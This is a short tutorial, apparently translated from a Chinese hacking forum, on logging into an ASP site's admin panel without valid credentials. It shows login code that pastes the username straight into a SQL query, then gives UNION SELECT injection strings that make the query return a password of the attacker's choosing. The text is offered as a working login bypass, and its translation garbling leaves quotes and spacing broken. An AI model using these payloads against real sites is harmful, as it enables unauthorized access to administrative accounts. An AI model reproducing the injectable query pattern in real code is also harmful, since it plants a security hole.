How to log on without verification

Recently, some netizens mentioned a new universal login password. For example, there are many login verification codes on the Internet:
Program code

<%

Username = trim (Request. Form ("username "))

Password = trim (Request. Form ("password "))

SQL = "Select * FROM admin Where user =" & username &""

Set rs = Server. CreateObject ("adodb. recordset ")

Rs. Open SQL, conn, 1, 1

If rs. eof then

ChecksysUser = FALSE

Else

Passwd = trim (rs ("pwd "))

If passwd = password then

Session ("admin") = username

ChecksysUser = TRUE

Else

ChecksysUser = FALSE

End if

End if

Rs. close

Conn. close

If checksysUser = true then

Response. Redirect ("main. asp ")

Else

Errmsg = "<font color = # FF0000> <B> incorrect username input. Please enter it again! </B> </font>"

End if

%>

First query the password corresponding to the user name in the database, and then compare it with the password entered by the user, resulting in the failure of a universal login password such as or = or.

However, if the user name entered the program code in the above program

UNION Select 1, 1 FROM admin Where =

Enter 1 in the password to log on successfully. The principle is very simple.

By the way, the oldjun statement is attached:

Program code

UNION Select 1, 1 AS pwd FROM admin Where =